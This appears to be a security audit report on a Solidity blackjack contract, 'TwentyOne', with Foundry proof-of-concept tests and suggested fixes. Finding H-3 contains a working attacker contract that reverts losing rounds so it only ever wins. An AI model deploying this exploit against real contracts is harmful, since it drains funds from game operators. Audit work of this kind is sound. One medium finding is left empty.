2024-11-TwentyOne Audit Report

Version 1.0

Vincent71399

Nov 28th, 2024

2024-11-TwentyOne Audit Report

Vincent71399

Nov 28th, 2024

2024-11-TwentyOne Audit Report

Auditor:

- Vincent71399

Protocol Summary

Platform:

- CodeHawks

Disclaimer

I, Vincent71399, make all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Findings

High

[H-1] The game can accept deposits exceeding 1 ether, but it only pays out a maximum of 2 ether. Players might not win the full amount they bet and could even incur a loss despite winning.

Description: In the `TwentyOne:startGame` function, the game accepts deposits exceeding 1 ether.

```
1      function startGame() public payable returns (uint256) {
2          address player = msg.sender;
3  @>      require(msg.value >= 1 ether, "not enough ether sent");
4          initializeDeck(player);
5          uint256 card1 = drawCard(player);
6          uint256 card2 = drawCard(player);
7          addCardForPlayer(player, card1);
8          addCardForPlayer(player, card2);
9          return playersHand(player);
10     }
```

However, the game only pays out a maximum of 2 ether. This means that players might not win the full amount they bet and could even incur a loss despite winning.

```
1      function endGame(address player, bool playerWon) internal {
2          delete playersDeck[player].playersCards; // Clear the player's
               cards
3          delete dealersDeck[player].dealersCards; // Clear the dealer's
               cards
4          delete availableCards[player]; // Reset the deck
5          if (playerWon) {
6  @>          payable(player).transfer(2 ether); // Transfer the prize to
       the player
7  @>          emit FeeWithdrawn(player, 2 ether); // Emit the prize
      withdrawal event
```

```
        }
    }
```

Impact: This can breaks the game logic, players did not won the value they bet and players can lose money despite winning.

Proof of Concept: 1. PLAYER deposits 3 ether. 2. PLAYER wins the game.

Add the following code into `TwentyOne.t.sol`:

Proof of Code

```
        modifier fundTwentyOne() {
            vm.deal(address(twentyOne), 100 ether); // Fund the
                contract with 10 ether
            _;
        }
        ...
        function test_player_send_more_than_required_eth() public
            fundTwentyOne {
            vm.startPrank(player1);
            uint256 initialPlayerBalance = player1.balance;
            twentyOne.startGame{value: 3 ether}();

            vm.recordLogs();
            twentyOne.call();
            Vm.Log[] memory logs = vm.getRecordedLogs();
            assertEq(logs[0].topics[0], keccak256("PlayerWonTheGame(
                string,uint256)"));

            uint256 finalPlayerBalance = player1.balance;
            assertEq(finalPlayerBalance, initialPlayerBalance - 1 ether
                ); // Player sent 3 eth but only won 2 eth back

            vm.stopPrank();
        }
    ```
</details>

run `forge test --mt test_player_send_more_than_required_eth` and you will see the test pass (**final** player balance < initial player balance).

Recommended Mitigation:
Ensure that the game only accepts deposits of 1 ether in `TwentyOne: startGame` function.

```solidity
    function startGame() public payable returns (uint256) {
        address player = msg.sender;
-       require(msg.value >= 1 ether, "not enough ether sent");
```

```
33 +         require(msg.value == 1 ether, "only 1 ether allowed");
34           initializeDeck(player);
35           uint256 card1 = drawCard(player);
36           uint256 card2 = drawCard(player);
37           addCardForPlayer(player, card1);
38           addCardForPlayer(player, card2);
39           return playersHand(player);
40       }
```

[H-2] The game contract may not have enough ether to pay out the ether if players win the game.

Description: If the game contract does not have enough ether, player can still start the game, if the player win the game, the pay out will fail.

```
1      function endGame(address player, bool playerWon) internal {
2          delete playersDeck[player].playersCards; // Clear the player's
               cards
3          delete dealersDeck[player].dealersCards; // Clear the dealer's
               cards
4          delete availableCards[player]; // Reset the deck
5          if (playerWon) {
6  @>          payable(player).transfer(2 ether); // Transfer the prize to
       the player
7              emit FeeWithdrawn(player, 2 ether); // Emit the prize
                   withdrawal event
8          }
9      }
```

Impact: The can break the game pay out logic, player can win the game but the pay out will fail.

Proof of Concept: 1. create a fresh game contract. 2. PLAYER deposits 1 ether and win the game.

Add the following code into `TwentyOne.t.sol`:

Proof of Code

```
1          function test_PlayerWins_but_game_has_insufficient_eth() public
               {
2              vm.startPrank(player1);
3
4              twentyOne.startGame{value: 1 ether}();
5
6              vm.expectRevert();
7              twentyOne.call();
8
9              vm.stopPrank();
10         }
11     ```
12 </details>
```

```
13 run `forge test --mt test_PlayerWins_but_game_has_insufficient_eth` it
      will pass.
14 run `forge test --mt test_PlayerWins_but_game_has_insufficient_eth -
      vvvv` you will see the error in console `EvmError: OutOfFunds`.
15
16 **Recommended Mitigation:**
17 Add a `lockedPayoutEther` to keep track of the ether that is locked for
       payout, and check if the contract has enough balance to pay out the
       ether.
18
19 ```solidity
20     function startGame() public payable returns (uint256) {
21         address player = msg.sender;
22         require(msg.value == BET, "only 1 ether allowed");
23         // fix for payout
24 +       require(address(this).balance - lockedPayoutEther >= PAYOUT, "
      not enough balance to pay out");
25 +       lockedPayoutEther += PAYOUT;
26         ...
27     }
28     ...
29     function endGame(address player, bool playerWon) internal {
30         delete playersDeck[player].playersCards; // Clear the player's
              cards
31         delete dealersDeck[player].dealersCards; // Clear the dealer's
              cards
32         delete availableCards[player]; // Reset the deck
33 +       lockedPayoutEther -= PAYOUT;
34         if (playerWon) {
35             payable(player).transfer(PAYOUT); // Transfer the prize to
                  the player
36             emit FeeWithdrawn(player, PAYOUT); // Emit the prize
                  withdrawal event
37         }
38     }
```

[H-3] Functions endGame send eth away from contract but performs no checks on any address.

Description: If the address is a smart contract, it can set up a logic which revert on losing the game, block the game losing logic and ensure it always win.

```
1     function endGame(address player, bool playerWon) internal {
2         delete playersDeck[player].playersCards; // Clear the player's
              cards
3         delete dealersDeck[player].dealersCards; // Clear the dealer's
              cards
4         delete availableCards[player]; // Reset the deck
5         if (playerWon) {
```

```
6  @>          payable(player).transfer(2 ether); // Transfer the prize to
       the player
7               emit FeeWithdrawn(player, 2 ether); // Emit the prize
                   withdrawal event
8           }
9       }
```

Impact: This can break the game logic, players can always win the game by creating an attacker.

Proof of Concept: 1. create an attacker contract like following:

```
1   // SPDX-License-Identifier: UNLICENSED
2   pragma solidity ^0.8.13;
3
4   import {TwentyOne} from "../../src/TwentyOne.sol";
5
6   contract BlackJackAttacker {
7       TwentyOne private twentyOne;
8
9       constructor(address payable _twentyOne) {
10          twentyOne = TwentyOne(_twentyOne);
11      }
12
13      receive() external payable {}
14
15      function startGame() public {
16          twentyOne.startGame{value: 1 ether}();
17      }
18
19      function attack() public {
20          uint256 initBalance = address(this).balance;
21          twentyOne.call();
22          uint256 finalBalance = address(this).balance;
23          require(finalBalance > initBalance, "revert if lose");
24      }
25  }
```

2. PLAYER deposits 1 ether to the attacker contract and call `BlackJackAttacker:startGame`. Then call `BlackJackAttacker:attack`. Add the following code into `TwentyOne.t.sol`: Proof of Code

```
1       import {BlackJackAttacker} from "./mock/BlackJackAttacker.sol
            ";
2       ...
3       modifier fundTwentyOne() {
4           vm.deal(address(twentyOne), 100 ether); // Fund the
                contract with 10 ether
5           _;
6       }
7       ...
```

```
8       function test_Attacker_never_lose() public fundTwentyOne {
9           vm.startPrank(player1);
10          BlackJackAttacker attacker = new BlackJackAttacker(
                payable(address(twentyOne)));
11          vm.deal(address(attacker), 10 ether);
12          uint256 initialBalance = address(attacker).balance;
13
14          // lose the game and revert
15          attacker.startGame();
16          vm.warp(block.timestamp + 1);
17          vm.expectRevert();
18
19          // win the game
20          attacker.attack();
21          vm.warp(block.timestamp + 2);
22          attacker.attack();
23
24          uint256 finalBalance = address(attacker).balance;
25          assertEq(finalBalance, initialBalance + 1 ether);
26          vm.stopPrank();
27      }
```

Recommended Mitigation: Instead of direct transfer eth to the winner, game can store the payout first and lock it for a few blocks, then winners need to manually call `withdraw` to get the payout.

```
1  +    uint256 private constant PAYOUT_WAITING_BLOCKS = 10;
2  +    mapping(address => uint256) private payoutEther;
3  +    mapping(address => uint256) private minBlockCanWithdraw;
4       ...
5       function endGame(address player, bool playerWon) internal {
6           delete playersDeck[player].playersCards; // Clear the player's
                cards
7           delete dealersDeck[player].dealersCards; // Clear the dealer's
                cards
8           delete availableCards[player]; // Reset the deck
9           lockedPayoutEther -= PAYOUT;
10          if (playerWon) {
11 -            payable(player).transfer(2 ether); // remove this line
12 +            payoutEther[player] += PAYOUT;
13 +            minBlockCanWithdraw[player] = block.number +
       PAYOUT_WAITING_BLOCKS;
14          }
15      }
16      ...
17 +    function withdraw() public {
18 +         uint256 amount = payoutEther[msg.sender];
19 +         require(amount > 0, "no payout available");
20 +         require(minBlockCanWithdraw[msg.sender] > 0, "no waiting
       payout");
21 +         require(block.number >= minBlockCanWithdraw[msg.sender], "
```

```
        waiting for blocks");
22  +         minBlockCanWithdraw[msg.sender] = 0;
23  +         payoutEther[msg.sender] = 0;
24  +         payable(msg.sender).transfer(amount);
25  +         emit FeeWithdrawn(msg.sender, amount);
26  +     }
```

Medium

[M-1] The Dealer may still draw another card even if he already got 21 points, it is against the rule of blackjack

Description:

Impact:

Proof of Concept:

Recommended Mitigation:

Information

[I-1] Use of “magic” numbers is discouraged

some variable should be declared as constant to make the code more readable and maintainable.

examples:

```
1     require(msg.value >= 1 ether, "only 1 ether allowed");
2     ...
3     payable(player).transfer(2 ether);
4     emit FeeWithdrawn(player, 2 ether);
5     ...
6     if (dealerHand > 21) {
7     ...
8     require(handBefore <= 21, "User is bust");
9     ...
10    if (handAfter > 21) {
11    ...
12    if (dealerHand > 21) {
13    ...
14    for (uint256 i = 1; i <= 52; i++) {
15        availableCards[player].push(i);
16    }
17    ...
18    uint256 cardValue = playersDeck[player].playersCards[i] % 13;
```

```
    ...
    if (cardValue == 0 || cardValue >= 10) {
        playerTotal += 10;
    } else {
        playerTotal += cardValue;
    }
```

Instead, please use

```
    // under contract
    uint256 private constant BET = 1 ether;
    uint256 private constant PAYOUT = 2 ether;
    uint256 private constant BLACKJACK = 21;
    uint256 private constant DECK_SIZE = 52;
    uint256 private constant FACE_CARD = 10;
    uint256 private constant KING = 13;
     ...
    // in function
    require(msg.value == BET, "only 1 ether allowed");
    ...
    payable(player).transfer(PAYOUT);
    emit FeeWithdrawn(player, PAYOUT);
    ...
    if (dealerHand > BLACKJACK)
    ...
    require(handBefore <= BLACKJACK, "User is bust");
    ...
    if (handAfter > BLACKJACK) {
    ...
    if (dealerHand > BLACKJACK) {
    ...
    for (uint256 i = 1; i <= DECK_SIZE; i++) {
        availableCards[player].push(i);
    }
    ...
    uint256 cardValue = playersDeck[player].playersCards[i] % KING;
    ...
    if (cardValue == 0 || cardValue >= FACE_CARD) {
        playerTotal += FACE_CARD;
    } else {
        playerTotal += cardValue;
    }
```

[I-2] Missing Emit Event on startGame function

Description: The `startGame` function does not emit any event when the game starts. This can make it difficult to track the game start event.

Recommended Mitigation:

```
+   event PlayerStartGame(address player);
    event PlayerLostTheGame(string message, uint256 cardsTotal);
    event PlayerWonTheGame(string message, uint256 cardsTotal);
    event FeeWithdrawn(address owner, uint256 amount);
    ...
    function startGame() public payable returns (uint256) {
        address player = msg.sender;
        require(msg.value >= 1 ether, "not enough ether sent");
        initializeDeck(player);
        uint256 card1 = drawCard(player);
        uint256 card2 = drawCard(player);
        addCardForPlayer(player, card1);
        addCardForPlayer(player, card2);
+       emit PlayerStartGame(player);
        return playersHand(player);
    }
```